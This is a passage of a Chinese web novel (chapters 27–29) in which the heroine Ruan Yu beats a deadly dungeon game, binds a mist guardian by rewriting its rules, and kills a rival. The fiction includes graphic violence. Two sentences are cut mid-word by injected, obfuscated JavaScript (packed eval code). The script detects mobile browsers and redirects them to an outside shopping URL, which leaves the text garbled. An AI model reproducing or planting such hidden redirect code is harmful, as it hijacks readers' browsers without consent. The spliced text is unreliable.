这下轮到阮钰画问号了,她用手指在他掌心写字。 “你要自杀?” 罗威:“?” 27. 遗落之羽 他被阮钰气笑了。 狗屁的他要自杀,他像会自杀的人吗? 他握住阮钰的手,用力在她手背上写字:“把枪给我!” 阮钰恍然,猜到他要做的事后,果断摇头拒绝。 罗威摇头,再次写字:“你更重要,不能冒险,我来。” 他的态度十分坚定,阮钰只好把从他手里收来的仅剩三发子弹的枪还给他,顺便用手势提醒他小心。 罗威面无表情地点头,自己走到另一侧无人的位置,抬枪朝着巨树之目的核心射击。 枪声撕碎了平静,不仅那些黑卵的怪物睁开眼睛,其他玩家们也用惊恐质疑的目光看了过来。 砰! 子弹精准地打中了巨树之目中心的光团,在即将击中的瞬间,被一双白色翅膀挡下。 人形黑雾以恐怖的速度出现,用光滑无毛的白色翅膀挡下了那颗子弹。 翅膀展开,露出它无实体的身体。 它没有五官,身体由混沌流动的黑雾组成,外形酷似人类,背后突兀地插着一双巨大的肉色翅膀。 在巨树之目的光辉下,阮钰看清了翅膀的材质——那是两张被张力拉伸成肉粉色薄膜的人皮,薄到能看清里面细密复杂的血管系统。 黑雾没有五官的脑袋转向罗威的方向,罗威嗅闻到危险的味道,立刻收枪逃跑。 他刚跑了两步,肩膀处传来钻心的疼痛—— 带着倒刺的黑色骨镰刺穿了他的右肩。 黑雾以恐怖的速度出现在他身后,朝着枪响的位置发动攻击,恶心丑陋的肉粉色翅膀尖端长出了锋利的黑色骨镰,骨镰拔出来的时候沾着碎肉和骨头碎片。 剧烈的疼痛使罗威脸色发白,他急忙举起唯一能动的左手,把手腕连衣袖一起塞进嘴里,死死咬住,把本能的惨叫声强行变成隐忍的无声呜咽。 在声音消失后,黑雾失去了攻击目标,只停留了短暂的几秒钟,就又回到巨树前方,高大的身体瞬间消散,化成漫天灰雾,和黑暗的环境融为一体。 朦胧的灰雾后方,巨大的树木之眼持续地散发着艳丽光芒,它的光晕柔和且美丽,是黑暗世界中唯一的色彩。 阮钰望着巨目中心的光彩,面前出现游戏弹窗。 【无名的遗落之羽:被遗落在黑暗深处的色彩,被黑暗的丑陋鸟兽拾取后,送入生命之树。】 【用处:祭祀所需的核心道具,神明之力的来源。若未能获取该道具,任务‘净化里斯曼大学’默认失败。】 鸦羽,不是羽毛,而是那团色彩。 所以,这是必须完成的任务,是必须得到的道具,没有任何投机取巧的可能。 她被二楼的怪物骗了。 它隐瞒了最关键的道具所在的位置,误导了她的行动。不知道它是无心的还是刻意为之,她也没办法找它算账。 眼前最大的问题是,该怎么碰触那团色彩。 守卫巨树的人形灰雾能为巨树抵挡伤害,它的攻击力和速度都远超想象,没有凝实的身体意味着绝大多数的物理伤害对它无效,也意味着她引以为傲的武力在它面前毫无作用。 只能先把黑雾引开,她才能有机会触碰巨树。这期间还要确保巨树没有其他的防御手段,否则依然会失败,而失败的下场就是和蓝帽子一起,成为生命之树的新树叶。 这是个很棘手的问题,几乎可以称之为死局。 阮钰把目光看向其他队友,思考后,决定用最简单有效的办法,调虎离山。 她从衣服里取出罗威的笔记本,缓慢且谨慎地撕下一张空白的纸,用笔记本上别着的中性笔慢慢地写下她要表达的内容,又画了一个简单的位置图。 整个过程她都做的极其缓慢,防止纸张碎裂或写字的声音惊动那些黑暗中的生物。 写完后,她无声地游到其他队友身边,举着纸,让他们看清内容。 “我需要得到巨树里的道具,协助我引开黑雾。这是站位图和顺序,每隔三十秒发出声音,见机行事。” 陈老虎和魏柏图对她的安排表现出了无条件的顺从,什么都没问,看清内容后立刻点头。 阮钰把手机调出时钟页面后,还给了陈老虎。 陈老虎是第一个吸引黑雾的人,他第一次发出声响吸引怪物的时间是五分钟后的3:23:00,第二次是3:23:30。 魏柏图距离陈老虎最远,所以他被安排在第二个。他第一次吸引怪物的时间是3:23:05,第二次是3:23:35。 以此类推。 她为每个人安排的时间都精确到秒钟。 夏茵抿唇思考后点了头,比划了OK的手势。 寸头和T恤男的态度迟疑不定。黑雾的行动速度快得超乎想象,只用了不到三秒的时间就飞出去了至少两百米远,黑卵的飞行速度也快得惊人。这意味着如果时间计算的不精准,他们会当场死在这里,变成一片新鲜出炉的人皮树叶。 蓝帽子的人皮正挂在树上,无声地宣告着最坏的死亡结局。 要冒险吗? 二人对视着,天人交战后,T恤男一咬牙,点头答应下来。 想过关还不想冒险,哪有那种好事。再说,还有其他队友一起承担风险,只要配合的好,一定能把那些怪物耍的团团转。 方家兄弟看到纸上的内容后脸色稍变,隔了半分钟左右,才心事重重地点头应下。 阮钰没让罗威参与这次的行动,他在试探巨树之目时已经发挥了作用,身受重伤的他没能力再次冒险了。 再者,她需要有一个人代替她掌管全场。完全信任陌生队友是找死行为,她不放心把后背交给其他人,万一有人中途破坏了计划和节奏,需要一个有能力的人立刻补救。 罗威的能力足以担任这样的角色。 三十秒不是她随意定下的数字,而是经过了认真的计算后得出的时间间隔。 她让七人以巨树为中心,各自远离巨树至少八百米远,按照特定的位置站好后,轮流出声吸引怪物,把敌人当做皮球一样戏耍。 只要玩家们足够听话,黑雾来不及伤害任何人。 而她只需要抓紧时间,尽量在最短的时间内拿到所需要的道具,这个关卡就算过关了。 这是个既简单又困难的计划。 需要玩家们的默契配合和对阮钰的无条件信任,需要她的行动够快,需要中间不能有任何的突发状况。 大家按照图上的位置各自分散。 3:23:00 陈老虎朝着巨树中心的位置大喊:“喂!死怪物,爷爷在此!” 黑雾骤然现形。 巢穴里垂吊的黑卵们被唤醒,成千上万只狰狞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16585424|185247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恐怖的怪物朝他猛冲过来。 陈老虎被吓得满头冷汗,强忍着逃跑的本能冲动,死死地捂住嘴。 3:23:05 黑卵距离陈老虎只有三米,他甚至能看清黑卵背上的人脸图案。 魏柏图扯着嗓子大喊:“喂!爷爷在这呢!” 黑卵骤然停下,同时调转方向。 陈老虎劫后余生地松了口气,轮到魏柏图害怕地狂咽口水。 3:23:10 夏茵双手拢着嘴巴,大喊:“看我这里!来找我!” 五秒钟的时间刚刚好。每次黑卵即将飞到玩家面前时,又被另一处的声音吸引,它们像无头苍蝇一样,按照阮钰设定的路径无脑乱撞。 与此同时。 巨树之目的不远处,阮钰脸色凝重地看着人形黑雾。 因为巨树没有遭受攻击,黑雾始终站在巨树之目的前方,没有半点行动的意图。 它和黑卵像是分工明确的下属,一个负责驱散周围的敌人,一个负责贴身守卫巨树的安全。 有点难办。 她斟酌着接下来的行动,是该冒险直接接触巨树之目,还是以游击战的形式先绕开黑雾……在她思考的时候,身后出现了骚动。 3:23:25 玩家们第一轮的配合彻底崩坏,阮钰最担心的事情还是发生了。 寸头正在大喊大叫地吸引着黑卵的注意力,接下来轮到方青接棒,但方青却一言不发地站在原地。 他对寸头露出了自责愧疚的表情,但嘴唇死死地闭着。 寸头眼睁睁看着黑卵朝他飞过来,想逃跑的时候却已经晚了,黑卵把他包裹成了黑色的人茧,他的世界陷入绝望的无尽黑暗…… 3:23:28 一张和蓝帽子一样死法的白色人皮漂浮在空中,被黑卵们用螯足小心翼翼地挂到了巨树上。 在意识到方家兄弟背叛的瞬间,砰砰两声枪响,方青和方远的眉心出现了一样的弹孔,二人瞪大眼睛,不可置信地看着枪响的方向,死不瞑目地坠入脚下的无尽深渊。 巨大的枪响声撕碎了静谧,黑卵们像拥有统一的自主意识般,义无反顾地冲向罗威,即使是夏茵的呼喊也没能拦住它们。 罗威扔了飘着硝烟的手枪,朝急速飞来的黑卵们展开双臂,面带微笑的接受他的最后结局。 在被黑卵覆盖的瞬间,他深深地看向阮钰。 3:23:35 一张熟悉的人皮被悬挂在树枝上,诉说着无声的悼词。 短暂的十秒钟里,死了四个人。 阮钰没有时间为盟友的牺牲而伤心,她正在死死盯着蠢蠢欲动的黑雾—— 枪响声惊动了它。 它的脑袋转向罗威的方向,进行了极短暂的思考,判断那道声音会对身后的巨树产生威胁后,它的身体直挺挺地冲向朝响枪的位置。 锋利的骨镰划开空气里的羽毛状尘埃。 黑雾定定地看着再次落空的攻击,没有五官的脸上出现了明显的疑惑情绪,这丝情绪只持续了极端的时间。 下一瞬,黑雾的身体快速散开,三秒钟后,巨树前凝聚出一道恐怖高大的黑色虚影。虚影掩盖了巨树之目散发的光芒,同时,锋利骨镰朝着巨树之目的位置狠狠砍下去! 【当前任务进度:80%】 28. 规则力量 阮钰的手已经碰到了那团色彩,她认为自己的速度够快,出现的时机足够出其不意,但黑雾的速度还是超过了她的想象……时间被拉长,又仿佛被彻底偷走,前一瞬它还在远处,下一瞬,令人窒息的压迫感已紧贴她的脊背。 仓促凝聚的身体只是一层薄薄的朦胧浅雾,只有肉粉色的翅膀和有倒刺的黑镰撕碎了空间与时间,带来绝望冰冷的濒死感受。 “阮钰!”不知道是谁惊恐地大喊着她的名字,是陈老虎?还是魏柏图? 她分不清,因为她的身体已经躲进了生命之树最核心的巨目里——她被色彩包裹,在最极限的时刻进入了连黑雾都无法伤害的色团之中。 黑镰只划开了她后背的一小块皮肉,流了些血,血又和色彩融合,让本就艳丽的色团散发出更耀眼夺目的光芒。 阮钰来不及思考她的选择有多冒险,面前的世界突然变成了五彩缤纷的颜色,一切归于安静,只剩不断绽放又破碎的泡沫色团包裹着她,带来温热和冰寒交杂的复杂感受。 她的大脑里传来了一阵未知的呓语声…… 是“神明”的低语。 祂不是伪神,而是真正的、值得虔诚膜拜的伟大神明。 祂的低吟驱散了她经历过的一切癫狂和扭曲,只剩余最纯粹的神圣与慈悲。 祂的声音悠远如世界尽头,又近如刻在大脑深处,祂带来的是最舒适的世界和感受。安全,温暖,恬静,满足……阮钰置身于光明神圣的天堂,静静聆听神明的诉语。 【最伟大的神迹,从不是神选择了人,而是人找到了神】 【真实皆为虚妄,唯你此时接触的片刻虚妄,才是永恒的真实】 【‘伥鬼’只是你的玩物,‘使者’只是你的臣民。新生的世界诞生于白鸽的咏叹调,你即是一切的终结与开端】 【敢于主动寻找神明,在绝境中开辟全新道路的勇敢神使,理应得到特殊的奖赏。你将获得巨树的力量,改写此地的规则,直到净化结束】 那道声音温和而友善,无穷的色团世界深处绽放了白色的小小光点,在阮钰的注视下,光点朝她靠近,像有生命的大树,生长出洁白神圣的阶梯,阶梯通往色彩之外的世界,那是未知的黑暗与真正的通途。 她遵循本能,踏上阶梯,每踩下一步,身后的阶梯炸裂成满天星子。纯洁神圣的白色星光驱散丑陋的艳丽色彩,将扭曲混乱的世界净化为洁白的神圣之地。 在她走下最后一层阶梯,踏入黑暗时,她转身,看到了那片被完全净化的白色空间。 【当前任务进度:90%】 黑暗再次笼罩。 巨大的黑雾凝聚在巨树前方,锋利的黑镰对准她的眉心。在其他玩家们惊恐不忍的目光中,阮钰安然无恙地踏出巨树之目。 她的眉心和黑镰的锋利刀刃碰触,白色的纯洁光芒覆盖了黑镰,她的大脑里多出了全新的讯息。 那是构造黑雾的本源【规则】。 黑雾是【守卫者】,它只有一条最简单原始的行动【规则】:守卫巨树不受任何伤害。 她要想办法解决它,或是驱赶它。 要怎么办? 神明没有给她这样的力量。 阮钰垂头思考,突然意识到,黑雾似乎没有继续攻击她的意思。 她冷静地观察黑雾,发现黑雾的身体像烧沸的开水般翻涌不定,巨大的黑镰无数次抬起又落下,它痛苦地挣扎着,身体无数次地拆解又组合,行为矛盾至极,如同混乱的代码。 “……这是为什么?”阮钰喃喃,继续握着面前的黑镰,努力拆解它已经混乱的【规则】。 “你要保护巨树之目,却无法再伤害我……因为我得到了巨树之目的力量吗?……是神明赐予我的力量,让你混乱了你的敌人?”她呢喃着她读取到的规则。 随着她的话语,黑雾似乎更混乱了,它暴躁地挣扎着,似乎想要挣脱什么,却让阮钰有了新的思路。 “好,我明白了。”她看着被圣洁白光包裹的黑镰,“你守卫的是巨树,而我得到了巨树的力量。所以——” “你现在要守卫的对象,是我。” 【副本规则改写:守卫者的守护目标更改为——‘阮钰’】 【逻辑成立,规则改写生效】 在新规则成功的瞬间,阮钰猛地喷出一口血。 她的五脏六腑遭受重击,七窍流血,身体里传来无穷的痛苦感受,她几度晕死又苏醒,精神世界同样遭受着重创。 这是改写规则的代价。 也是她必须承受的代价! 和她同样混乱的还有黑雾。 底层逻辑被更改,这违背了黑雾的守护本能。痛苦使它迫切想要攻击面前的人类,黑镰无数次朝阮钰砍下去,又在新规则的控制下,不得不取消攻击。 自相矛盾的两条规则让它像失控的指针一样原地旋转,数次自我崩解后又被迫重组。 在漫长的逻辑绞杀后,黑雾的原本规则终于被新规则暂时覆盖—— 它的混乱行为停止了。 折磨着阮钰的疼痛也消失了。 她浑身都是鲜血,血肉因折磨而皲裂,身上的衣服被血液和汗水打湿,她足足用了十几分钟的时间才缓过神来。 阮钰感觉到她和黑雾之间,有了一条极细、极脆弱的精神连接。 她被黑雾暂时地当成了“主人”,但黑雾的原本规则并未消失,这意味着它随时都有醒悟的可能。而它醒悟来的第一件事,一定是杀了她这个改写了规则的人类。 庞大的人形黑雾屈膝跪在阮钰面前,并不虔诚,也不是臣服,只是被规则胁迫下的违心行为。 阮钰剧烈地喘息着,用衣袖擦拭脸上的血,面无表情地向它发出第一道命令:“杀了它。” 她说的模糊,但黑雾却立刻知晓了她的吩咐,身体再次展开,这一次,黑雾的身体远超想象——几乎这片空间的所有黑雾都被它吸纳,它成为了真正恐怖的庞然大物,甚至比百米高的巨树还要硕大。 漆黑的雾气完全包裹了她身后的生命之树,看不清里面发生了什么,但能听到巨树正在剧烈地挣扎,它的树冠沙沙作响,那些白色的“树叶”纷纷飘落,由人骨做成的枝杈开始分解,哗啦啦地坠入脚下的无尽深渊。 几分钟后,黑雾缩小身体,重新跪到阮钰面前,举起它锋利的黑镰,黑镰上静静漂浮着一片黑色的羽毛。 阮钰把羽毛接到手里,与此同时,她身后吞噬了无数人生命皮肉的古怪巨树分崩离析,那原本漂浮在无垠空间中的巨大树木和那些黑卵一样自爆成漫天黑点,又被黑雾吸纳为它的力量来源。 【任务进度:95%】 一扇门出现在不远处。 “我们走吧。” 阮钰看着任务弹窗,攥着羽毛,目光看向罗威最后消失的位置,停顿了三秒钟后,便移开了目光。 玩家们不知道具体发生了什么,但看情况应该是已经通关了,立刻跟上阮钰,一同踏出了那扇门。 让他们没想到的是,那团黑雾也跟了出来。 在阮钰的授意下,它的身体融入黑暗,原本还算干净的空气瞬间变得浑浊难闻。 “钰姐,这东西……”魏柏图指着黑暗的角落,后怕地咽着口水,那黑雾的恐怖速度和威力让他心有余悸。 “没事,我能控制它。”阮钰安抚他说。 阮钰难得的对“神明”二字没有抵触心理。 在进入那片空间时,她其实是茫然的,完全不知道会发生什么,甚至有一种成为人家砧板之肉的感觉……但她竟然见到了与癫乱扭曲毫不相关的纯洁世界。 祂没有出现,却切实的为她提供了帮助。 祂赠予她奇妙的规则力量,帮助她暂时驯服了守卫者,虽然还有无法解决的风险,但任务进度总归是上涨了。 更让她意外的是,黑雾竟然出现在了她的个人面板上。 玩家:阮钰 评级:C 异能:无 积分:10 已有序列:奈萨(混沌守卫者)(忠诚度:1) 只有1点忠诚吗? 无论满点是一百还是十点,现在的忠诚度都低得可怜。 阮钰犯愁地叹息,也不知道奈萨的存在是好事还是坏事……有一个强大的帮手固然不错,可奈萨的低忠诚度说明它是一颗随时可能引爆的定时炸弹。 它既能成为替她冲锋的勇士,也能成为弑主的锋利刀刃。 见阮钰坚持说没问题,其他人也不好再说什么了,只是默契地远离了奈萨所在的黑暗。 魏柏图扭头看了眼队伍,垂下眼睛,悲伤地说:“居然死了这么多人……” “咱们刚进来的时候还有十一个人呢,一下子死了五个,就剩咱们五个了……” 他抹了脸,把还没滚出眼眶的眼泪擦干。 阮钰心头一跳,观察其他人的反应,却发现他们根本没意识到魏柏图的话有一处明显的错误。 人数不对。 她仔细数了人数,死了五个,活着出来了五个……缺了卫曦。 从进入第四层开始,卫曦就莫名的消失了,更奇怪的是竟然没有一个人想起她,也没人意识到人数的不对劲。 阮钰收回眼神。暂时把这件事抛到脑后。 卫曦不是玩家阵营的人,她的死活与她无关,她还有更重要的事要处理。 阮钰带着一行人回到一楼,T恤男问她接下来要做什么,她只说了简短的两个字。 通关。 那片从生命之树中得到的羽毛被她攥在手里。 一楼的祭台上。 赵临渊眼神阴鸷,在看到阮钰身形的瞬间,感觉他的脑袋隐隐作痛。 多次的死亡经历,导致他有点创伤后遗症,具体表现为看到阮钰就脑袋疼。 他的身体因愤怒而颤抖,拳头紧握,除去气愤外,还有深深的不解—— 为什么?为什么阮钰总能破坏他的计划,总能让他的一切安排功亏一篑? 她是老天爷派给他的克星吗? 他收到了蓝帽子的死 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598329|185247||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亡信息,本来还沾沾自喜,认为一切都在他的计划之中,直到方家兄弟瞬间死亡,而阮钰还好好的活着,他才猛地觉得不对。 紧接着,就是罗威的死亡通知! 他开启权限,看到了游戏里发生的一切—— 那条官方的狗,为了保护阮钰,居然情愿牺牲他的命! 他妈的! 该死的罗威! “赵临渊,你现在有两个选择。” 阮钰走到祭台下方,语气平静地说:“滚下祭台后自杀,或者我杀了你。” 说完,她觉得有点浪费时间,不耐烦地挥了挥手:“算了,我帮你选。” 赵临渊气的大吼大叫,他舍不得他的祭台,舍不得他选中的地盘,但身体却诚实地往后退了好几步……舍不得又怎么样?他又打不过她! 他选择让步,留得青山在不怕没柴烧,看到阮钰只是面无表情地走上祭台,没有追逐他的意图时,赵临渊松了口气。 好歹是不用死了。 他这口气还没吐完,黑暗中的影子猛地勒住他的脖子,在他迷茫恐惧的目光中疯狂收紧,他的脸因窒息而变成青紫色,耳朵里全是骨头不堪重负的摩擦声,直到喉骨和脊椎碎裂—— 他不明不白的死了。 阮钰让奈萨把他的身体拖下去,赵临渊复活后,奈萨会代替她,送他品尝他最喜欢的死亡。 阮钰从陈老虎的包里取出黄金书,展开净化仪式的的页面,按照仪式上的要求,将黄金书嵌入祭台中央最深的方形凹槽里。 同时,魏柏图从二楼回来,耸肩说:“没有墨汁……那间屋子里现在什么都没有了,桌子板凳什么的全都凭空消失了。” 陈老虎挠头:“那咱们接下来咋整啊?” T恤男皱眉说:“没办法,再去物资区翻翻吧,万一谁带了……” “不用。”阮钰打断他们,“我有办法。” 她拿着纸,走到刚复活的赵临渊面前,在他怨毒的目光中拔出匕首,划开他脖子上的大动脉,鲜血喷涌而出,全部洒在纸上。 阮钰用他的血,绘制了一幅妖冶血腥的色彩画像。 她本来不确定这种抽象的画像能不能用,直到把画像放到指定位置时,任务进度上涨,她才彻底安心。 “其他道具呢?”她看向陈老虎,后者连忙把巴掌大的小罗盘放入祭台上的凹槽,他的罗盘太小了,和祭台上的凹槽大小完全不符。 阮钰皱眉,伸手想把罗盘取出来,但在指尖触碰到祭台的瞬间,她再次感受到了【规则】的力量。 她尝试改写规则。 【道具大小被更改】 【更改成功】 那道凹槽居然在以肉眼可见的速度缩小,直到将小罗盘严丝合缝地包围起来,才停止了变化。 “这也行?”阮钰惊奇地说。 陈老虎他们没有按原计划取下吊灯,不知道从哪里翻找出了一根带着电线的插排。 他们合作把插排和电线拆开,在电线中间扯出了一根细长的铜丝,铜丝落入手中的瞬间,任务进度弹出了新提示。 【当前任务进度:99%】 只差最后一步了。 阮钰按照仪式上的指引,把道具分别摆到对应的位置。 最后,她取出了在巨树中得到的黑色鸦羽。 鸦羽不是完全的黑色,在露营灯的照射下,它呈现出灰暗的半透明色彩。 赵临渊刚从死亡中复活,抬头,亲眼目睹阮钰把鸦羽嵌入祭台的瞬间。 尚有半丝期待的他,看到了无穷尽的纯洁光芒,穹顶的色彩被净化,被它污染的所有物体恢复为最初的模样,黑暗的建筑变得灯火通明、神圣高大。 与之对应的是他眼中的光芒熄灭,脖子上再次传来痛苦的窒息感。 这一次,他死不瞑目。 4:00:00 全球玩家同时收到游戏公示。 【恭喜“敬神者”小队通关S级副本:里斯曼大学!】 【“敬神者”小队全队获得10积分奖励!】 【“敬神者”小队获得副本优先选择权!】 【玩家▇▇表现优秀,获得全服唯一头衔:先行者!】 【玩家▇▇成功净化副本里斯曼大学,得到副本永久归属权!】 【玩家▇▇表现优异,获得神明奖赏,开启个人天赋:??(隐私原因,无法公示)】 【玩家▇▇成功开启序列,获得神明庇佑,初始生命+1!】 一连串游戏公示满满当当地占据了屏幕的每一个角落。 全球所有玩家同时停下手里的动作,目瞪口呆地看着不断出现的游戏文字,直到五分钟后,所有游戏论坛被彻底引爆! 【首夜竟然有S级副本?!!!】 【求问!敬神者小队归属哪个主城了??我现在搬过去还来得及吗?】 【哪位大佬净化了S级副本啊?菜鸡求组队,求带飞!】 【高价悬赏公示玩家的信息,悬赏金额10000000!】 29. 天赋技能 和论坛玩家们一起激动的,还有收到结算页面的敬神者小队的存活玩家们。 【首夜任务已完成,正在进行结算……】 【关卡难度:S+(原本为S级,因某些违规操作而难度提升),完成度:100%】 【存活玩家数量:6人】 【正在结算奖励……】 魏柏图他们欣喜欲狂地看着结算页面,死亡的悲伤被通关的喜悦冲淡。 阮钰的结算页面比他们更长,她没空关注已经板上钉钉的事,发现规则的力量还没消失时,她看向了赵临渊。 白色的光芒从祭台开始,扩散到整栋建筑,被白光覆盖的建筑像刷新后的游戏,全都变了模样。 黑暗的空间变得灯火通明,怪物和玩家们的尸体、感染者的尸体全都灰飞烟灭,取而代之的是干净整洁的室内环境。 白光像是战士的利刃,刺穿穹顶的诡异色彩,吞噬了那些无法用言语形容的奇异颜色。穹顶色彩消失的很快,也很痛苦,庞大的、没有实体的身体如同被戳破的巨大泡沫,咕噜咕噜地发出低吟和惨叫,最后彻底被白光吞没。 整栋建筑从原本的黑暗诡异,变得光明神圣。 赵临渊的眼神逐渐绝望。 阮钰撕碎了他安排好的剧本。 玩家的忠诚,养蛊计划,里斯曼大学的归属权……他现在一无所有,只有无数次刻骨铭心的死亡体验,和刚收到的来自游戏系统的惩罚提醒。 赵临渊在痛苦中复活,奈萨遵守阮钰的命令,再一次杀死了他,接着向阮钰表示了它现在的烦躁。 被净化后的建筑过于明亮神圣,几乎没有黑暗的存在,奈萨作为黑暗生物,它最讨厌的就是光明。 在阮钰的授意下,它虚无的身体聚成一团,凝聚成小小的圆形玉石形状,贴到她的耳垂上,像是一枚低调的耳钉。 阮钰的过耳短发正好能遮住耳垂的位置,让奈萨的变形看起来不突兀,并足以为它提供舒适的黑暗环境。 赵临渊又一次从死亡中苏醒。 阮钰走到半死不活的赵临渊面前,他正在大口地喘着气,在他怨憎的目光中,阮钰攥住他的头发。 【规则】的力量被发动,她眼前瞬间浮起了无数条文字,规则多且繁杂,她还没来得及读取内容,大脑就因为超负荷而爆发了强烈的痛感。 她立刻中止读取,松开手,扶着头疼欲裂的脑袋倒吸凉气。 短短的一瞬间,她看到了上万条规则,大部分规则都是无法修改的灰色,只有少部分规则是可修改的白色样式…… 问题是,她并未看清那些白色的规则都是什么。 大脑的强烈疼痛提醒她已经没有能力再进行规则读取了。 放弃?这不可能。 难得能使用不属于自己的力量,她必须抓住机会。 思来想去后,阮钰决定不更改现有规则,而是新增一条规则。 【共享】 杀掉赵临渊,是一件再简单不过的小事,他连成为她敌人的资格都没有。 他所代表的“伥鬼”身份,他知道的信息,远比他这个人重要得多。 有了【共享】,她能看到赵临渊的游戏页面、他已有的游戏权限,以及他刚收到的惩罚提示。 【违规提醒:伥鬼赵临渊违反规则,攻击“神使”。首夜结算结束后,将降下神罚,并全服通报,以示警戒。】 全服? 这个游戏居然还有服务器? 阮钰大为震惊,与此同时,大脑里传出了“神明”温和却没有感情的声音。 【净化已完成,神赐结束】 祂的声音依然平静,但阮钰听出了几分不高兴的感觉。 是因为她利用【规则】作弊吗? 阮钰无法思考神明的想法,太玄妙,太怪异,没有意义。 她把目光再次投向半死不活的赵临渊。 赵临渊正在死死盯着她的脸,想把这张脸刻入脑海和灵魂中,咬牙切齿地说:“阮钰,你很好……你让我从‘最优秀的伥鬼’,变成伥鬼中的耻辱和废物……你很好,我会报复回来的。” 说完,他的皮肤突然开始存存崩裂,不起眼的血色暗纹在流淌的鲜血里散发着低调诡异的暗色光泽,同时,他喉咙里滚出痛苦的惨叫声。 他疼得五官扭曲,赤色的眼睛却从未离开过阮钰,嘴里不断呢喃她的名字,恨海情天的感觉像是个被抛弃的怨夫。 阮钰被血色场景惊得后退半步。 赵临渊整个人浸泡在鲜血中,在鲜血彻底沐浴他全身的瞬间,一道刺眼的红光瞬闪而过,所有人都不约而同地闭上眼睛。 再睁眼时,地上只剩下了一滩鲜血,赵临渊的身体消失不见。 “人呢?!”陈老虎大喊,“我还没打他一顿出气呢,这小子怎么跑了?他怎么跑的?” “不知道啊,突然就消失了!”魏柏图目瞪口呆地说。 “他恨上你了,你接下来要小心。”夏茵对阮钰说,“他好歹是队长,不知道他还有什么手段……你多保重。” 阮钰收下她的善意,看向其他人:“先不管他了。我准备回家了,你们各自保重,有事再联系。” 魏柏图几人对视一眼,默契地拿出手机,互加了联系方式,然后齐刷刷看向阮钰。 阮钰拿出泡水的手机,“……你们谁给我留个联系方式,我回去再加。” 魏柏图主动举手:“我来!” 他在纸上刷刷写下一行数字,交给阮钰。 阮钰看向来时的大门方向。 消失的木门再次出现,并且大大地敞开着,能看到外面漆黑一片的血色夜幕,对比着灯火通明的里斯曼大学建筑,外界显得危机重重。 即使如此,他们也毫不犹豫地选择快跑离开这栋埋葬了几十条生命的建筑。 即使建筑已经被净化,甚至归属权都属于她,阮钰对这里依旧没有好感,比起留在这,她更想赶紧回家洗澡。 现在是早上四点。 墨色天空隐约放亮,硕大的血色圆月明显黯淡了不少,也没有午夜时的狰狞可怖。 或许是心境的变化,阮钰竟然觉得血月不再那么恐怖了……比起关卡内数次死里逃生的惊险来说。 大街上空无一人,带着冷意的风吹在脸上,吹走了末日的不真实感,吹来了一夜未睡的疲惫。 魏柏图和陈老虎不约而同地打了个哈欠。 “我先回去睡觉了……大妹子,再见!”陈老虎率先抬步离开,朝几人挥了挥手。 夏茵和T恤男做了简单的道别后,也随即离开。 只剩魏柏图和阮钰留在原地。 “你怎么还不走?”阮钰问。 “额,那个……”魏柏图不好意思地挠挠脑袋,眼神乱瞟,就是不敢看她,“钰姐,我有个事儿想麻烦你一下……” “不行。”阮钰直接拒绝。 “啊?钰姐你甚至不愿意听我说完!”魏柏图哭丧着脸大嚎。 “一听就很麻烦,不行。”阮钰面无表情的说。 “我给钱!”魏柏图掏出手机,试图挣扎。 “我不缺钱,不行。”阮钰继续拒绝。 “钰姐!算我求你了呜呜呜……”魏柏图蹲在地上,果断抱住阮钰的腿,欲哭无泪地说:“我真没地方去了,寝室的五个舍友两个下落不明,三个成了感染者,我们学校现在全都是怪花和感染者,我害怕啊呜呜呜……” “那你刚才为什么不向陈老虎求助?”阮钰皱眉,“他肯定不会拒绝你。” “他哪有你厉害啊,我这种小菜鸡肯定得挑一条最粗的大腿抱啊!”魏柏图说的理直气壮,“钰姐你放心,我这人很有分寸感的,而且力气大脾气好,你把我当狗使唤就行!” “你现在的行为就很没有分寸感。”阮钰说。 魏柏图心虚地缩了缩脑袋。 阮钰不想跟他浪费时间,抬脚想把他踹开,魏柏图察觉到她的意图,立马抱得更紧了,两眼一闭:“不行!钰姐,你就当我不要脸吧,我现在只能跟着你了啊钰姐!我会做饭会打扫屋子会……” “你会做饭?”阮钰突然打断他,“厨艺怎么样?” 魏柏图眼睛发亮,急忙点头:“相当可以!我家是开餐馆的,我爹是国宴级大厨!而且我还会修电灯泡通马桶……” 阮钰说:“会做饭就行,跟我走,你开车。” 她找到了来时骑的电瓶车,魏柏图负责驾驶,用魏柏图的手机输入目的地。 “我去,这小区我记得特别贵啊!钰姐你居然这么有钱?”魏柏图看着目的地的小区名字咋舌,难怪她不收钱呢,比起房租,他身上那几个子儿确实不够看。 “好好开车,先别跟我说话。”阮钰冷声说。 魏柏图缩着脑袋,默默闭嘴,勤勤恳恳地当蹬车的老黄牛。 世界终于安静,阮钰点开游戏页面。 入目就是一堆让人眼花缭乱的系统通报。 【您已通关S级关卡:里斯曼大学,关卡难度:S+(检测到难度异常,已对异常来源做出处罚,并为您补偿3积分)】 【您表现优异,获得神明奖赏,开启个人天赋:能力视界】 【能力视界(初级):拥有者可查看B级及以下等级玩家的异能等级与异能内容,该能力可升级】 【您已获得全服唯一头衔:先行者。作用:待探索】 【检测到您已拥有的序列忠诚值过低……#!@%&……系统混乱,暂时无法查看】 【您得到特殊奖励:生命+1】 看完关键的几条通报后,阮钰大失所望。 还以为通关后能获得什么不同凡响的丰厚奖励,游戏还给出一大堆看着唬人的播报,结果只是雷声大雨点小。 除了“能力视界”,其他通报对她而言没有任何意义。 